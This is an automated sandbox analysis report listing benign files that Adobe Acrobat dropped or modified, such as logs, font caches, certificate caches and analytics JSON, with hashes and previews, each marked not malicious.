Preview:	2025/01/11-02:36:59.498 c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:36:59.499 c9c Recovering log #3.2025/01/11-02:36:59.500 c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.205765181080261
Encrypted:	false
SSDEEP:	6:iOVrL+q2PCHhJ2nKuAl9OmbzNMxIFUtD81ZmwYE1LVkwOCHhJ2nKuAl9OmbzNMFd:7V+vBHAa8jFUtw1/LV56HAa84J
MD5:	24262124A977AEF37CA81F3E96C7EB1C
SHA1:	D2DEA30F54C19EE39C2108A4726BEBE8D1F0C78E
SHA-256:	14655875C41F38FB4E5D964902B54773C61A9EE4634AC7551DB9787E5057E736
SHA-512:	68E1E5751B74B6B4ED242E65859C8C53654CF240C2A99E6E2F0822F19A5189B5D430F2BBDC8F65DBD939613A0B842F37F19F2917DBE3A75E25A0D21D8D08C9CE
Malicious:	false
Preview:	2025/01/11-02:36:59.498 c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:36:59.499 c9c Recovering log #3.2025/01/11-02:36:59.500 c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklAPKbNl/tfllXlE/HT8kyNNX8RolJuRdxLlGB9lQRYwpDdt:kKZCbNteT8BNMa8RdWBwRd
MD5:	8D88611145A761B3B06B1E7503F3DC40
SHA1:	12FDFAEE0DFAD213FF14F88536302EE35AC99DED
SHA-256:	BAC33A9099C9304CAB96150F76CA66D7201344F0BAFD43BD38391B36F3FA46D5
SHA-512:	7621578A6176884B0CF2F94627DADD38AFCAA8D06EC52A40261AAB6EBDE71A7C2CB1AA8696BC348DD911162E22D1EA95006BB7B6F212563A2BC935510768D6FF
Malicious:	false
Preview:	p...... ........3T...c..(....................................................... ..........W.....G..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kKrL8NtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:jwPiDImsLNkPlE99SNxAhUe/3
MD5:	93EF09441FE3DBF153AFF053D2A65650
SHA1:	595937C790B0E521814406E138AA970690B29DB6
SHA-256:	1A1C13E5FB2E21FA1362465AE277A1BEBA47CB27D4F69AF17E331CFADD63AADF
SHA-512:	62702EF98517B3103F79973B9AC47A8046D5991302B6A4FECA8F4E02E0AB0E6951864B542BA1A3E0CBA10E7C4181A28703E2AB6F0BF6A5BE89B5558DA02C820B
Malicious:	false
Preview:	p...... .........m..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350424359567239
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJM3g98kUwPeUkwRe9:YvXKXvnYvR/ZwHA6GMbLUkee9
MD5:	E6E79470E1725836D3AE1376E4F819F5
SHA1:	9E4834C4DC829A5E7CE71D5F91B8572BCF20E2F9
SHA-256:	A38A67AF8A5A1B443186FE337E7A0D2EA5629A3A4271E650B77597CD5AFE32CA
SHA-512:	CF2BD9343A814642E4BD83EA8D01629C249E9FF3BF84C0C8FEAF6E31D5AC6826B6BAEB091A23F3DD420B9500B57A2793A4C2C371721B0A169152B5859BD6D6B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2841565495784035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfBoTfXpnrPeUkwRe9:YvXKXvnYvR/ZwHA6GWTfXcUkee9
MD5:	89984FBA68B9AF0E4E654A590EC28961
SHA1:	6ECBD8184044D1336DB45D101C54BF186B0695CC
SHA-256:	5C32F895A2DAF9AA77CD5D2042784C2CAEC2CB540DDA7B73205A45F509BB56C2
SHA-512:	2004FFE9EA743078C6A453423D8CB431FF26F86A125D4D3C41B659F29B97793DB9DCB1AE4306FCC08CD17CA23DD7E1A95C7683A9F903A4628221C13FCBB12A4B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262295464323671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfBD2G6UpnrPeUkwRe9:YvXKXvnYvR/ZwHA6GR22cUkee9
MD5:	80EF4DA8CEFEA7E3F76ACFE764317AB5
SHA1:	655B68DB0595BE5759AFD4649CFC4D8A5132D6C4
SHA-256:	4313FDCFCDE4AC7E850F6D427AED54D608C19699E4A2C44A8CDBCD311EDAC576
SHA-512:	F5E18381F8A54C86086C6653F9A1D230B632F47484DE08E7EF30575C276E17F96897E903E5C25BD13D94DABEFFE902C1254CF380FE3112866D333BC40FCF3118
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32691890517394
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfPmwrPeUkwRe9:YvXKXvnYvR/ZwHA6GH56Ukee9
MD5:	B9B1AF1F86F755C5BBEBA204C83ED152
SHA1:	95D2B030BBCA2BA394AF551DFC621F80E65D83B5
SHA-256:	DF63E351A69FBDE8183895642C964119BAC42EE7EB2FCE9ED79B9A9BC7D9A867
SHA-512:	F07FC20A81D0981CD33D9A5348E119F99CA784DED11C68804E2CB13C5D4509A43C00CA2088895EC116E91E90BEB4BA9C4AD54BCA2277A2739BF07025AE7160DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688878949642074
Encrypted:	false
SSDEEP:	24:Yv6XvnYJhbpLgE9cQx8LennAvzBvkn0RCmK8czOCCSv:Yv5Jhbhgy6SAFv5Ah8cv/v
MD5:	ECA7A2168C2FB9A30AC18B894C0F75A0
SHA1:	62200F74AAA5C8844FCDE3EDE08440EA80D095D2
SHA-256:	77BDB43500BDCFA49879E7A6579C57E61FB29B5847A7E733018FC14A785E9F99
SHA-512:	0F292C85847D3ED5A02600FDC99963A3D54E61AB83F944A97363538E1353C10FCD25BB0431FF0120A31A836DD8EF07E3CE64C4C3225C683FC81A344BF4A6F528
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272809936524144
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJf8dPeUkwRe9:YvXKXvnYvR/ZwHA6GU8Ukee9
MD5:	68944AB0CDDEA619EABDB146B9016986
SHA1:	81A2E096F2727C9CB9BE4D91CD5CDA397731B6EB
SHA-256:	64024187DCCC6A0DD81F462D0648988AF5B6A064B7858F7CBB2A3EB756085783
SHA-512:	E19BB219A92E55171810B0A077EE97BE9C5BA00A61563009C43EDAA72FF03AA9B1300A249F433443D19CD84372C64B568A1DACD53F80106BF3F2EC93F02B2563
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272042880861498
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfQ1rPeUkwRe9:YvXKXvnYvR/ZwHA6GY16Ukee9
MD5:	9BDC34AE169D06A9BA2CBCA17158F8F5
SHA1:	8A89E894CD587F82CEA6297B4026E966E67FB813
SHA-256:	CD9840E9B190A4601BA23B7F066D7BBA345A76835F61C2FA1CDA59C95E06F15E
SHA-512:	C5B605CE90CD613A8241536245D55418F1808901396AA46744FF408F0CEEF39E926C0A6BBB4A0780FEE2F3C669AD6B52B926F15A9B591300AF662125FFABABB4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287731960482088
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfFldPeUkwRe9:YvXKXvnYvR/ZwHA6Gz8Ukee9
MD5:	0ED3C7D04C2D50D23C653D1647DCD23A
SHA1:	3799980B65230296DB4E358489654BC2E241A900
